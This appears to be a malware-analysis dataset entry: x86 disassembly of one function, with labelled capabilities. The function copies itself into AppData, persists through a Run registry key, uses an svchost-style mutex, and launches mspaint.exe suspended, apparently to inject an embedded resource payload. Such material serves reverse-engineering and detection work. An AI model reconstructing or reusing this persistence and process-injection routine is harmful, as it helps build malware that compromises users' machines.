Function at 0x402870
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create process suspended
Delete file
Extract resource via kernel32 functions
Get common file path
Link many functions at runtime
Persist via run registry key
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push 0x4014e4
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x402938
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x4014ec
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x407ac8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4028c4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [0x407f90], 1
mov dword [ebp - 0x10], 1
push 4
push 4
lea eax, [ebp - 0x10]
push eax
push 0x40150c
call fcn.00405bb0
add esp, 0x10
call fcn.00403870
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x100
push 0
lea ecx, [ebp - 0x540]
push ecx
call fcn.00402820
add esp, 0xc
push 0xff
lea edx, [ebp - 0x540]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x540]
push eax
call fcn.00405a00
add esp, 4
call fcn.004057b0
mov dword [ebp - 0x10], 0
push 0x104
push 0
lea ecx, [ebp - 0x898]
push ecx
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x118]
push edx
call fcn.00402820
add esp, 0xc
lea eax, [ebp - 0x898]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x898]
push ecx
push 0x401518
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x898]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x898]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x80
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x898]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
push 0
lea eax, [ebp - 0x898]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x438]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x898]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x898]
push eax
push 0x401524
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x898]
push edx
call fcn.00402820
add esp, 0xc
push 0x104
lea eax, [ebp - 0x898]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x80
lea ecx, [ebp - 0x438]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x438]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x898]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x320]
push edx
push 0x40153c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402b41
lea eax, [ebp - 0x438]
mov dword [ebp - 0x8a0], eax
mov ecx, dword [ebp - 0x8a0]
add ecx, 1
mov dword [ebp - 0x8a4], ecx
mov edx, dword [ebp - 0x8a0]
mov al, byte [edx]
mov byte [ebp - 0x8a5], al
add dword [ebp - 0x8a0], 1
cmp byte [ebp - 0x8a5], 0
jne 0x402aed
mov ecx, dword [ebp - 0x8a0]
sub ecx, dword [ebp - 0x8a4]
mov dword [ebp - 0x8ac], ecx
mov edx, dword [ebp - 0x8ac]
push edx
lea eax, [ebp - 0x438]
push eax
push 1
push 0
push 0x40156c
mov ecx, dword [ebp - 0x320]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x320]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x407ad8], eax
call fcn.004025f0
cmp eax, 1
jne 0x402b6f
mov dword [ebp - 0x31c], 0x29
jmp 0x402b79
mov dword [ebp - 0x31c], 0x25
push 0x1fe
push 0
lea eax, [ebp - 0x790]
push eax
call fcn.00402820
add esp, 0xc
lea ecx, [ebp - 0x790]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x31c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x498
push 0
push 0x407ae0
call fcn.00402820
add esp, 0xc
lea eax, [ebp - 0x790]
push eax
push str.C:WINDOWS_system32mspaint.exe
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401584
push str.C:WINDOWS_system32mspaint.exe
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4015a0
push str.SVCHOST_MUTEX_OBJECT_RELEASED_mar2
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4015c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push 0x4015d4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_CreateProcessW], eax
push 0x4015e4
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407af8], eax
push 0x4015f8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_Sleep], eax
push 0x401600
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_CreateMutexA], eax
push 0x401610
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_ExitProcess], eax
push 0x40161c
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_SetLastError], eax
push 0x40162c
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_GetLastError], eax
mov dword [0x407ac4], 0x498
mov dword [0x407570], 0x407ae0
mov edx, 0x402860
sub edx, 0x402700
mov dword [0x407574], edx
mov dword [0x407ad4], 0x402700
push 0x10
push 0
lea eax, [ebp - 0x330]
push eax
call fcn.00402820
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x588]
push ecx
call fcn.00402820
add esp, 0xc
mov dword [ebp - 0x588], 0x44
push 0x40163c
lea edx, [ebp - 0x790]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x588]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x790]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebp - 0x330]
push eax
call fcn.004033a0
add esp, 4
test eax, eax
jne 0x402d40
call fcn.00403870
call fcn.004057b0
mov ecx, dword [ebp - 0x330]
push ecx
call fcn.00402630
add esp, 4
test eax, eax
jne 0x402d5d
call fcn.00403870
call fcn.004057b0
push 3
push 0x401658
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x89c], eax
mov edx, dword [ebp - 0x89c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x89c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x43c], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov dword [ebp - 0x58c], 0
lea edx, [ebp - 0x58c]
push edx
push 4
mov eax, dword [ebp - 0x43c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1fe
push 0
lea edx, [ebp - 0x318]
push edx
call fcn.00402820
add esp, 0xc
push 0x1fe
lea eax, [ebp - 0x318]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x318]
push edx
call fcn.00402e20
add esp, 8
call fcn.00403660
call fcn.00403770
mov esp, ebp
pop ebp
ret